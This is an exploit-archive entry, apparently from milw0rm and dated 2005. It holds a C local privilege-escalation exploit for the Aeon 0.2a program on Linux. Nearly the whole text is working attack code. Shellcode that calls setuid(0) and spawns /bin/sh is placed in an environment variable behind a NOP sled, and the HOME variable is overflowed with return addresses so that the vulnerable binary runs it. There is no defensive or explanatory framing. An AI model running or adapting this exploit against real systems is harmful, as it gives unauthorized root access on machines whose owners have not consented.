Aeon 0.2a - Local Linux (2)

/* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
	
	long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
	strcpy(evilbuf,"HOME=");
		
        for(i=5;i<=BUFLEN;i+=4) 
	    *(long *)(p+i)=ret; 
	
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
	ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// milw0rm.com [2005-04-05]